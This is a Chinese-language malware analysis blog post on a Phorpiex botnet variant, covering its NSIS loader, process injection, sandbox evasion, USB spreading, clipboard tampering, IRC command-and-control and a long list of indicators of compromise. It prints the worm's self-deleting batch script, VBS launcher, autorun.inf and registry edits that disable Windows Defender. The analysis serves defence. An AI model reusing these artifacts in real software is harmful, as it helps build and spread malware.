一例Phorpiex僵尸網絡變種的分析

概述

這是一例Phorpiex僵尸網絡變種,通過NSIS打包,加載惡意dll(Flaminius.dll),讀取dat文件(Preoral.dat),在內存解密并解壓縮出一個Pe,創建同名傀儡進程并注入。通過可移動存儲介質傳播,通過IRC協議連接C2服務器,內嵌了271個c2地址,會檢測沙箱,替換系統剪貼板內容。

樣本的基本信息

文件大小: 126 KB (129,638 字節)
MD5: 9365b48827f3cb8197a848b5541e44dc
SHA1: 8ab949370c6ccff66610da3dbddafc828b12e3e7
SHA256: 0d3313a93ddc742908a4b2396ebfe1e080ef9c31d759fa552842aae9b4dbafe7
PE32安裝程序: Nullsoft Scriptable Install System(3.0b1)[lzma,solid]鏈接程序: Microsoft Linker(6.0*)[GUI32]附加: Binary數據: NSIS data

是一個nsis打包的自解壓程序,使用7zip 15.05 解壓后如下,有3個目錄

│  [NSIS].nsi
│  
├─$PLUGINSDIR
│      InstallOptions.dll
│      ioSpecial.ini
│      modern-header.bmp
│      modern-wizard.bmp
│      System.dll
│      
├─$TEMP
│      Flaminius.dll
│      Preoral.dat
│      
└─$_4_└─$_4_Uninstall.exe

[NSIS].nsi腳本中有一段,說明程序的入口在Flaminius.dll。

 SetOutPath $TEMPFile Preoral.datFile Flaminius.dllSystem::Call Flaminius::Ninth

重點分析這個Flaminius.dll

第二階段 加載器 Flaminius.dll

樣本的基本信息

Flaminius.dll:
Verified:    Unsigned
Link date:    12:27 2016/9/2
Publisher:    n/a
Company:    Adobe Systems Incorporated
Description:    Adobe Setup
Product:    Adobe Setup
Prod version:    8,0,0,15
File version:    8,0,0,15
MachineType:    32-bit
MD5:    12DD13145E30FD83685161905E9A22B1
SHA1:    8822796E570D9D002A04610362A787CF410A3ACDPE32編譯器: EP:Microsoft Visual C/C++(6.0 (1720-8966))[DLL32]編譯器: Microsoft Visual C/C++(6.0)[msvcrt]鏈接程序: Microsoft Linker(6.0*)[DLL32]Preoral.dat:
Verified:    Unsigned
File date:    21:18 2017/11/20
MD5:    85F94AE59CC3C63B1FA621BBF7723F44
SHA1:    80B56BD65AEF79CAB4DE4E0C57BAC4BF0921F872

Flaminius.dll讀取Preoral.dat的內容,在內存中解密,調用RtlDecompressBuffer函數解壓后是一個pe,創建一個同名的傀儡進程,將這個pe注入其中。
使用OD動態調試,將這個pe dump出來分析。這個樣本靜態分析不太容易,其幾乎所有的api都動態獲取的。

第三階段 解密解壓后的pe

這個pe是病毒的主體,主要功能都在里頭。
樣本的基本信息

Verified:    Unsigned
Link date:    5:35 2017/11/19
MachineType:    32-bit
文件大小: 33.0 KB (33,792 字節 0x8400)
MD5:    35FFA90B7F75D4DB208436994BED3D3E
SHA1:    4BC8D1A3C0AD50FA3F07C86428F3CD33FCB7EC53
PE32編譯器: EP:Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]編譯器: Microsoft Visual C/C++(2008 SP1)[msvcrt]鏈接程序: Microsoft Linker(9.0)[GUI32]
path:Cqoifh oiqhof qhoif oif8z8whfwh 8fho ehfoq hof hehue hb

使用IDA打開很容易分析明白。
首先檢測當前環境是否在沙箱中。通過查詢硬盤的ProductId中是否含有關鍵字qemu、virtual??、vmware、xen來判斷當前環境是否為沙箱。

若是沙箱話,自毀并退出。自毀通過bat文件來實現,在臨時目錄下創建一個bat文件,文件名為10個字節的隨機字符串。內容如下

:repeat
del "病毒路徑"
if exist "病毒路徑" goto repeat
del "C:\Users\ADMINI~1\AppData\Local\Temp\[隨機10個字符].bat"

創建互斥量 t46,防雙開。
刪除文件 病毒路徑:Zone.Identifier。(Zone.Identifier文件中的內容是一個文本文件,其中包含了有關下載文件的安全區域的信息。該信息主要用于確定下載文件的來源,并提供安全警告或限制性措施)。

首先感染系統,在系統中創建副本,路徑為下面三個之一,目錄M-505052074572749672056208574286582740540winmgr.exe文件。

%windir%\M-505052074572749672056208574286582740540\winmgr.exe
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe
%temp%\M-505052074572749672056208574286582740540\winmgr.exe

修改下列注冊表項

添加防火墻策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
在這個配置中,該應用程序被授權通過系統防火墻。具體的配置信息如下:
- `[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]` 表示應用程序的路徑。
- `*:Enabled` 表示開啟所有協議(TCP和UDP)的授權。
- `Microsoft Windows Manager` 是說明或備注,表示這個應用程序是"Microsoft Windows Manager"。添加開機啟動項,啟動項名為Microsoft Windows Manager
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"禁用windows Defind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4

首先感染系統會運行系統中的副本,然后退出當前進程。
創建三個線程,執行惡意操作。主要是感染可移動存儲介質和遠程驅動器、替換剪貼板中的內容、通過IRC協議連接C2執行惡意操作。

下面詳細講一下這三個線程的功能。

感染可移動存儲介質

在U盤的根目錄下創建了三個文件(DeviceConfigManager.vbsautorun.inf.lnk),一個目錄(_),只有.lnk文件是顯示狀態,其它文件都被隱藏了。


.lnk文件如下,其圖標為驅動器圖標,指向同目錄下的DeviceConfigManager.vbs

DeviceConfigManager.vbs的內容如下,這是一個vbs文件,其中的變量名是隨機生成的,其中還有一些混淆代碼沒有顯示。這個vbs的功能是關閉當前窗口,并打開名為_的文件夾和_\DeviceConfigManager.exe文件。

...
Dim jllkhjaekeovdlz
Dim rhpsafddxaculbu
Dim imyhscwulsnrtpn
Set jllkhjaekeovdlz = wscript.CreateObject("WScript.Shell")
Set rhpsafddxaculbu = wscript.CreateObject("Scripting.FileSystemObject")
Set imyhscwulsnrtpn = wscript.CreateObject("Shell.Application")'向系統發送鍵盤命令,具體是`%{F4}`,表示按下"Alt + F4"鍵組合,用于關閉當前窗口。
jllkhjaekeovdlz.SendKeys "%{F4}"'若存在名為"_"的文件夾,打開該文件夾。
If rhpsafddxaculbu.FolderExists("_") Then
jllkhjaekeovdlz.Run "_"
End If'若存在名為"\DeviceConfigManager.exe"的文件,以最大化方式打開該文件
If rhpsafddxaculbu.FileExists("_\DeviceConfigManager.exe") Then
jllkhjaekeovdlz.Run "_\DeviceConfigManager.exe", 2
End If

autorun.inf文件如下,其中有混淆的部分(未顯示),這是一個自動運行腳本的標準autorun.inf文件,內容如下,這個autorun.inf文件的作用是在U盤插入計算機時自動運行U盤根目錄下的"_\DeviceConfigManager.exe"文件,并設置U盤的圖標為系統SHELL32.dll文件的第4個圖標(文件夾圖標)。同時啟用了AutoPlay功能,用于實現病毒的自啟動。

[autorun]
icon=%SystemRoot%\system32\SHELL32.dll,4
open=_\DeviceConfigManager.exe
UseAutoPlay=1

目錄_下的為病毒的副本(DeviceConfigManager.exe)和原來U盤內的文件。

替換剪貼板的內容

根據以下規則替換系統剪貼板的文本內容

  • 首字母在為這些字母13B2XDE0L4PARrtz之一
  • 首字母為4或2,若長度為在90和115之間
  • 首字母不是4或2,若長度在25到45之間
  • 不含有O、I、l三個字符
  • 只含有字母和數字字符

若滿足上面的條件,根據下面的規則替剪貼板中的內容。不知道其作用是啥。

連接C2地址

樣本中內嵌了1個c2 IP和270個c2域名,見IOC部分。
會依次連接這些c2,若找到可用的c2地址后,使用IRC協議與C2通信,支持的IRC命令有PING、PONG、USER JOIN、NICK、PRIVMSG。

主要的功能有:

  • 自毀
  • 獲取主機信息
  • 下載載荷執行,或更新自身
    首先通過訪問http://api.wipmania.com/來獲取當前的IP地域,與命令中區域信息比對。

    下載一個pe保存在臨時目錄下(文件名為隨機的10位字符),執行。若有更新命令,退出當前進程。

IOC

hash
9365b48827f3cb8197a848b5541e44dc 原始樣本 
12DD13145E30FD83685161905E9A22B1 加載器Flaminius.dll 
85F94AE59CC3C63B1FA621BBF7723F44 加密的載荷 Preoral.dat 
35FFA90B7F75D4DB208436994BED3D3E 注入傀儡進程的部分 文件
主機中
%temp%\[隨機10個字符].bat 自毀腳本
%windir%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本 
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\[隨機10個字符].exe 下載的載荷U盤中
X:\DeviceConfigManager.vbs 啟動病毒打開目錄_
X:\autorun.inf 用于自啟動
X:\.lnk 誘導用戶點擊的快捷方式
X:\_\DeviceConfigManager.exe 病毒母體互斥量  t46注冊表
添加防火墻策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
開機自啟動
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"
關閉winDefind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4網絡
http://api.wipmania.com/ 用于的獲取當前IP地域信息
c2
220.181.87.80:5050
rohgoruhgsorhugih.ru:5050
oeihefoeaboeubfuo.ru:5050
iapghahpnpnapcipa.ru:5050
oeabocbeogoaehgoi.ru:5050
ageihehaioeoaiegj.ru:5050
eghoabeogbuaeofua.ru:5050
siiifibiiegiiciib.ru:5050
aefobfboabobfaoua.ru:5050
abvainvienvaiebai.ru:5050
goiaegodbuebieibg.ru:5050
rohgoruhgsorhugih.su:5050
oeihefoeaboeubfuo.su:5050
iapghahpnpnapcipa.su:5050
oeabocbeogoaehgoi.su:5050
ageihehaioeoaiegj.su:5050
eghoabeogbuaeofua.su:5050
siiifibiiegiiciib.su:5050
aefobfboabobfaoua.su:5050
abvainvienvaiebai.su:5050
goiaegodbuebieibg.su:5050
rohgoruhgsorhugih.ws:5050
oeihefoeaboeubfuo.ws:5050
iapghahpnpnapcipa.ws:5050
oeabocbeogoaehgoi.ws:5050
ageihehaioeoaiegj.ws:5050
eghoabeogbuaeofua.ws:5050
siiifibiiegiiciib.ws:5050
aefobfboabobfaoua.ws:5050
abvainvienvaiebai.ws:5050
goiaegodbuebieibg.ws:5050
rohgoruhgsorhugih.in:5050
oeihefoeaboeubfuo.in:5050
iapghahpnpnapcipa.in:5050
oeabocbeogoaehgoi.in:5050
ageihehaioeoaiegj.in:5050
eghoabeogbuaeofua.in:5050
siiifibiiegiiciib.in:5050
aefobfboabobfaoua.in:5050
abvainvienvaiebai.in:5050
goiaegodbuebieibg.in:5050
rohgoruhgsorhugih.kz:5050
oeihefoeaboeubfuo.kz:5050
iapghahpnpnapcipa.kz:5050
oeabocbeogoaehgoi.kz:5050
ageihehaioeoaiegj.kz:5050
eghoabeogbuaeofua.kz:5050
siiifibiiegiiciib.kz:5050
aefobfboabobfaoua.kz:5050
abvainvienvaiebai.kz:5050
goiaegodbuebieibg.kz:5050
rohgoruhgsorhugih.nl:5050
oeihefoeaboeubfuo.nl:5050
iapghahpnpnapcipa.nl:5050
oeabocbeogoaehgoi.nl:5050
ageihehaioeoaiegj.nl:5050
eghoabeogbuaeofua.nl:5050
siiifibiiegiiciib.nl:5050
aefobfboabobfaoua.nl:5050
abvainvienvaiebai.nl:5050
goiaegodbuebieibg.nl:5050
rohgoruhgsorhugih.de:5050
oeihefoeaboeubfuo.de:5050
iapghahpnpnapcipa.de:5050
oeabocbeogoaehgoi.de:5050
ageihehaioeoaiegj.de:5050
eghoabeogbuaeofua.de:5050
siiifibiiegiiciib.de:5050
aefobfboabobfaoua.de:5050
abvainvienvaiebai.de:5050
goiaegodbuebieibg.de:5050
rohgoruhgsorhugih.fr:5050
oeihefoeaboeubfuo.fr:5050
iapghahpnpnapcipa.fr:5050
oeabocbeogoaehgoi.fr:5050
ageihehaioeoaiegj.fr:5050
eghoabeogbuaeofua.fr:5050
siiifibiiegiiciib.fr:5050
aefobfboabobfaoua.fr:5050
abvainvienvaiebai.fr:5050
goiaegodbuebieibg.fr:5050
rohgoruhgsorhugih.it:5050
oeihefoeaboeubfuo.it:5050
iapghahpnpnapcipa.it:5050
oeabocbeogoaehgoi.it:5050
ageihehaioeoaiegj.it:5050
eghoabeogbuaeofua.it:5050
siiifibiiegiiciib.it:5050
aefobfboabobfaoua.it:5050
abvainvienvaiebai.it:5050
goiaegodbuebieibg.it:5050
rohgoruhgsorhugih.at:5050
oeihefoeaboeubfuo.at:5050
iapghahpnpnapcipa.at:5050
oeabocbeogoaehgoi.at:5050
ageihehaioeoaiegj.at:5050
eghoabeogbuaeofua.at:5050
siiifibiiegiiciib.at:5050
aefobfboabobfaoua.at:5050
abvainvienvaiebai.at:5050
goiaegodbuebieibg.at:5050
rohgoruhgsorhugih.ua:5050
oeihefoeaboeubfuo.ua:5050
iapghahpnpnapcipa.ua:5050
oeabocbeogoaehgoi.ua:5050
ageihehaioeoaiegj.ua:5050
eghoabeogbuaeofua.ua:5050
siiifibiiegiiciib.ua:5050
aefobfboabobfaoua.ua:5050
abvainvienvaiebai.ua:5050
goiaegodbuebieibg.ua:5050
rohgoruhgsorhugih.be:5050
oeihefoeaboeubfuo.be:5050
iapghahpnpnapcipa.be:5050
oeabocbeogoaehgoi.be:5050
ageihehaioeoaiegj.be:5050
eghoabeogbuaeofua.be:5050
siiifibiiegiiciib.be:5050
aefobfboabobfaoua.be:5050
abvainvienvaiebai.be:5050
goiaegodbuebieibg.be:5050
rohgoruhgsorhugih.hu:5050
oeihefoeaboeubfuo.hu:5050
iapghahpnpnapcipa.hu:5050
oeabocbeogoaehgoi.hu:5050
ageihehaioeoaiegj.hu:5050
eghoabeogbuaeofua.hu:5050
siiifibiiegiiciib.hu:5050
aefobfboabobfaoua.hu:5050
abvainvienvaiebai.hu:5050
goiaegodbuebieibg.hu:5050
rohgoruhgsorhugih.ir:5050
oeihefoeaboeubfuo.ir:5050
iapghahpnpnapcipa.ir:5050
oeabocbeogoaehgoi.ir:5050
ageihehaioeoaiegj.ir:5050
eghoabeogbuaeofua.ir:5050
siiifibiiegiiciib.ir:5050
aefobfboabobfaoua.ir:5050
abvainvienvaiebai.ir:5050
goiaegodbuebieibg.ir:5050
rohgoruhgsorhugih.pl:5050
oeihefoeaboeubfuo.pl:5050
iapghahpnpnapcipa.pl:5050
oeabocbeogoaehgoi.pl:5050
ageihehaioeoaiegj.pl:5050
eghoabeogbuaeofua.pl:5050
siiifibiiegiiciib.pl:5050
aefobfboabobfaoua.pl:5050
abvainvienvaiebai.pl:5050
goiaegodbuebieibg.pl:5050
rohgoruhgsorhugih.es:5050
oeihefoeaboeubfuo.es:5050
iapghahpnpnapcipa.es:5050
oeabocbeogoaehgoi.es:5050
ageihehaioeoaiegj.es:5050
eghoabeogbuaeofua.es:5050
siiifibiiegiiciib.es:5050
aefobfboabobfaoua.es:5050
abvainvienvaiebai.es:5050
goiaegodbuebieibg.es:5050
rohgoruhgsorhugih.ro:5050
oeihefoeaboeubfuo.ro:5050
iapghahpnpnapcipa.ro:5050
oeabocbeogoaehgoi.ro:5050
ageihehaioeoaiegj.ro:5050
eghoabeogbuaeofua.ro:5050
siiifibiiegiiciib.ro:5050
aefobfboabobfaoua.ro:5050
abvainvienvaiebai.ro:5050
goiaegodbuebieibg.ro:5050
rohgoruhgsorhugih.lu:5050
oeihefoeaboeubfuo.lu:5050
iapghahpnpnapcipa.lu:5050
oeabocbeogoaehgoi.lu:5050
ageihehaioeoaiegj.lu:5050
eghoabeogbuaeofua.lu:5050
siiifibiiegiiciib.lu:5050
aefobfboabobfaoua.lu:5050
abvainvienvaiebai.lu:5050
goiaegodbuebieibg.lu:5050
rohgoruhgsorhugih.gr:5050
oeihefoeaboeubfuo.gr:5050
iapghahpnpnapcipa.gr:5050
oeabocbeogoaehgoi.gr:5050
ageihehaioeoaiegj.gr:5050
eghoabeogbuaeofua.gr:5050
siiifibiiegiiciib.gr:5050
aefobfboabobfaoua.gr:5050
abvainvienvaiebai.gr:5050
goiaegodbuebieibg.gr:5050
rohgoruhgsorhugih.md:5050
oeihefoeaboeubfuo.md:5050
iapghahpnpnapcipa.md:5050
oeabocbeogoaehgoi.md:5050
ageihehaioeoaiegj.md:5050
eghoabeogbuaeofua.md:5050
siiifibiiegiiciib.md:5050
aefobfboabobfaoua.md:5050
abvainvienvaiebai.md:5050
goiaegodbuebieibg.md:5050
rohgoruhgsorhugih.br:5050
oeihefoeaboeubfuo.br:5050
iapghahpnpnapcipa.br:5050
oeabocbeogoaehgoi.br:5050
ageihehaioeoaiegj.br:5050
eghoabeogbuaeofua.br:5050
siiifibiiegiiciib.br:5050
aefobfboabobfaoua.br:5050
abvainvienvaiebai.br:5050
goiaegodbuebieibg.br:5050
rohgoruhgsorhugih.net:5050
oeihefoeaboeubfuo.net:5050
iapghahpnpnapcipa.net:5050
oeabocbeogoaehgoi.net:5050
ageihehaioeoaiegj.net:5050
eghoabeogbuaeofua.net:5050
siiifibiiegiiciib.net:5050
aefobfboabobfaoua.net:5050
abvainvienvaiebai.net:5050
goiaegodbuebieibg.net:5050
rohgoruhgsorhugih.org:5050
oeihefoeaboeubfuo.org:5050
iapghahpnpnapcipa.org:5050
oeabocbeogoaehgoi.org:5050
ageihehaioeoaiegj.org:5050
eghoabeogbuaeofua.org:5050
siiifibiiegiiciib.org:5050
aefobfboabobfaoua.org:5050
abvainvienvaiebai.org:5050
goiaegodbuebieibg.org:5050
rohgoruhgsorhugih.com:5050
oeihefoeaboeubfuo.com:5050
iapghahpnpnapcipa.com:5050
oeabocbeogoaehgoi.com:5050
ageihehaioeoaiegj.com:5050
eghoabeogbuaeofua.com:5050
siiifibiiegiiciib.com:5050
aefobfboabobfaoua.com:5050
abvainvienvaiebai.com:5050
goiaegodbuebieibg.com:5050
rohgoruhgsorhugih.name:5050
oeihefoeaboeubfuo.name:5050
iapghahpnpnapcipa.name:5050
oeabocbeogoaehgoi.name:5050
ageihehaioeoaiegj.name:5050
eghoabeogbuaeofua.name:5050
siiifibiiegiiciib.name:5050
aefobfboabobfaoua.name:5050
abvainvienvaiebai.name:5050
goiaegodbuebieibg.name:5050
rohgoruhgsorhugih.info:5050
oeihefoeaboeubfuo.info:5050
iapghahpnpnapcipa.info:5050
oeabocbeogoaehgoi.info:5050
ageihehaioeoaiegj.info:5050
eghoabeogbuaeofua.info:5050
siiifibiiegiiciib.info:5050
aefobfboabobfaoua.info:5050
abvainvienvaiebai.info:5050
goiaegodbuebieibg.info:5050
rohgoruhgsorhugih.mobi:5050
oeihefoeaboeubfuo.mobi:5050
iapghahpnpnapcipa.mobi:5050
oeabocbeogoaehgoi.mobi:5050
ageihehaioeoaiegj.mobi:5050
eghoabeogbuaeofua.mobi:5050
siiifibiiegiiciib.mobi:5050
aefobfboabobfaoua.mobi:5050
abvainvienvaiebai.mobi:5050
goiaegodbuebieibg.mobi:5050

總結

這個樣本使用了側加載的技術,核心模塊不落地,有檢測沙箱的功能,通過IRC協議請求命令,很有代表性。

參考資料

  • NSIS 腳本提取教程 - 嗶哩嗶哩 (bilibili.com)

  • 2018年還有哪些通過U盤傳播的病毒? - 知乎 (zhihu.com)

  • Phorpiex - An IRC worm - Full reversal for the fun of it (bin.re)

  • irc使用教程 - zqifa - 博客園 (cnblogs.com)

  • IRC(Internet Relay Chat)(因特網中繼聊天)協議——RFC1459文檔要點總結 - 知乎 (zhihu.com)

  • RFC 1459 - Internet Relay Chat Protocol (RFC1459) (faqs.org)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/12689.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/12689.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/12689.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

告別信用卡綁定煩惱:探索這個全功能的Azure語音替代品,包含AI視頻制作!(微軟Azure語音替代方案)

文章目錄 ?? 介紹 ???? 演示環境 ???? 文章內容 ???? 語音合成的替代方案?? 功能特色?? 使用步驟示例?? 相關鏈接 ???? 介紹 ?? 雖然微軟Azure語音服務為個人用戶提供了充足的免費語音合成額度,但其注冊過程中的信用卡綁定要求、繁瑣的API配置步驟卻…

【BOSS直聘爬取系統功能介紹】

完整代碼關注公眾號 : 爬取網站:BOSS直聘:https://www.zhipin.com/ 難點 1. boss直聘不論什么崗位都只會展示10頁數據,就算在網頁里加到了11,內容也會和10一樣。 2.多次訪問會有驗證碼需要登錄,這部分需…

短視頻世上無人再似她:成都鼎茂宏升文化傳媒公司

短視頻世上無人再似她 —— 記憶中的光影傳奇 在短視頻盛行的今天,每一位創作者都在用鏡頭捕捉生活,記錄世界,但有那么一位藝術家,她的作品如同夜空中最亮的星,即便是在信息洪流中,也依然閃耀著獨一無二的…

jupyter_lab修改默認目錄

1、配置jupyterlab和jupyternotebook的默認工作路徑。 2、不廢話,直接上步驟 在Jupyter Notebook或者cmd命令行中輸入: jupyter notebook --generate-config jupyter-lab --generate-config生成配置文件“jupyter_notebook_config.py"和jupyter_la…

高通Android 11/12/13 通過包名設置默認launcher

背景&#xff1a;最近在封裝供第三應用系統SDK 接口&#xff0c;遇到一個無法通過包名設置主launcher代碼坑所以記錄下。 涉及類roles.xml # <!---~ see com.android.settings.applications.defaultapps.DefaultHomePreferenceController~ see com.android.settings.appl…

重啟服務器后node節點顯示NotReady

場景&#xff1a;夜間進行了斷電維護&#xff0c;重啟后發現業務無法使用&#xff0c;檢查發現一個node節點顯示NotReady. 去到目標服務器查看kubelet服務未成功啟動 journalctl -u kubelet 執行journalctl -u kubelet 查看日志發現提示&#xff1a; ailed to run Kubelet: run…

BFS和DFS優先搜索算法

1. BFS與DFS 1.1 BFS DFS即Depth First Search&#xff0c;深度優先搜索。它是一種圖遍歷算法&#xff0c;它從一個起始點開始&#xff0c;逐層擴展搜索范圍&#xff0c;直到找到目標節點為止。 這種算法通常用于解決“最短路徑”問題&#xff0c;比如在迷宮中找到從起點到終…

鐵路機輛作業移動智能終端的特點是什么?

在鐵路機輛作業的現代化進程中&#xff0c;移動智能終端以其獨特的優勢成為了不可或缺的裝備。這些終端以其高度的便攜性&#xff0c;使得工作人員能夠隨時隨地處理各種作業任務&#xff0c;極大地提升了工作效率。它們具備出色的抗干擾性和高防護性&#xff0c;能夠在復雜多變…

算法學習系列(六十一):樹形DP

目錄 引言一、沒有上司的舞會二、樹的重心三、樹的最長路徑四、樹的中心 引言 關于這個樹形 D P DP DP 代碼其實都是那一套&#xff0c;核心還是在于思維上的難度&#xff0c;關鍵是這個思路你能不能想明白&#xff0c;想明白了就非常的簡單&#xff0c;因為代碼幾乎長得都差…

LLM應用-prompt提示:讓大模型總結生成思維導圖

第一步&#xff1a;大模型生成markdown思維導圖格式 例如&#xff1a;kimi 總結pdf文檔案例&#xff1a; 生成的markdown格式&#xff1a; # 知識圖譜的構建及應用 ## 一、知識圖譜的構建 ### 1. 數據采集 - 來源&#xff1a;結構化數據庫、半結構化網頁、非結構化文本 - 預處…

React useState 的調用規則與最佳實踐:為何不在條件語句內使用 useState

在React中&#xff0c;useState 的調用確實有一些特定的規則和最佳實踐 以下是為什么通常不推薦在 if 語句內調用 useState 的原因&#xff1a; 1、Hooks 規則&#xff1a; React Hooks 的規則之一是&#xff0c;你應該在函數組件的頂層調用它們&#xff0c;而不是在循環、條…

技術管理者如何建立權威?

很多技術管理者經常抱怨管理不好做&#xff0c;還是做技術容易&#xff0c;完全受自己控制。員工一點都不聽自己的&#xff0c;安排的工作拖拖拉拉&#xff0c;一點執行力都沒有。 不是管理難做&#xff0c;而是管理者沒有建立權威。如何建立權威&#xff0c;參考以下四點。 …

PCIE V3.0物理層協議學習筆記

一、說明 PCI-Express(peripheral component interconnect express)是一種高速串行計算機擴展總線標準&#xff0c;它原來的名稱為“3GIO”&#xff0c;是由英特爾在2001年提出的&#xff0c;旨在替代舊的PCI&#xff0c;PCI-X和AGP總線標準。 PCIe屬于高速串行點對點雙通道高…

8.11 矢量圖層線要素單一符號使用二

文章目錄 前言箭頭&#xff08;Arrow&#xff09;QGis設置線符號為箭頭(Arrow)二次開發代碼實現 總結 前言 本章介紹矢量圖層線要素單一符號中箭頭&#xff08;Arrow&#xff09;的使用說明&#xff1a;文章中的示例代碼均來自開源項目qgis_cpp_api_apps 箭頭&#xff08;Arr…

證照之星是什么軟件 證照之星哪個版本好用?證照之星支持哪些相機 證照之星XE免費版

許多人都需要使用證件照&#xff0c;為了滿足這一需求&#xff0c;人們會使用照相機、手機、電腦等工具進行拍攝。除此之外&#xff0c;市面上還存在專門的證件照拍攝軟件&#xff0c;比如證照之星。那么&#xff0c;各位小伙伴是否了解證照之星哪個版本好用&#xff0c;證照之…

如何利用3D可視化大屏提升信息展示效果?

老子云3D可視化平臺https://www.laozicloud.com/ 引言 在信息爆炸的時代&#xff0c;如何有效地傳達和展示信息成為了各行各業的一大挑戰。傳統的平面展示方式已經無法滿足人們對信息展示的需求&#xff0c;3D可視化大屏應運而生&#xff0c;成為了提升信息展示效果的利器。本…

會員管理系統應該具備哪些功能?

?會員管理系統應該具備一系列核心功能&#xff0c;以滿足企業在會員管理、營銷和客戶服務等方面的需求。 以下是一些關鍵的會員管理系統功能&#xff1a; 1、會員信息管理&#xff1a;這是會員管理系統的基本功能&#xff0c;包括會員注冊、信息錄入、修改和查詢等。系統應支…

URL入參出參請求頭可配置化

整體思路 通過spring的Spell表達式解析變量的參數值&#xff0c;參數名定義為${XXX},在解析參數值后&#xff0c;將${XXX}替換成#XXX以匹配Spell表達式。 核心實現類 package com.example.spring_boot_study.spring.spell;import cn.hutool.core.map.MapUtil; import cn.hut…

大模型相關內容的研究學習

大模型研究學習 1.大模型的“幻覺” 幻覺可以分為事實性幻覺和忠實性幻覺。 事實性幻覺&#xff0c;是指模型生成的內容與可驗證的現實世界事實不一致。 比如問模型“第一個在月球上行走的人是誰&#xff1f;”&#xff0c;模型回復“Charles Lindbergh在1951年月球先驅任務…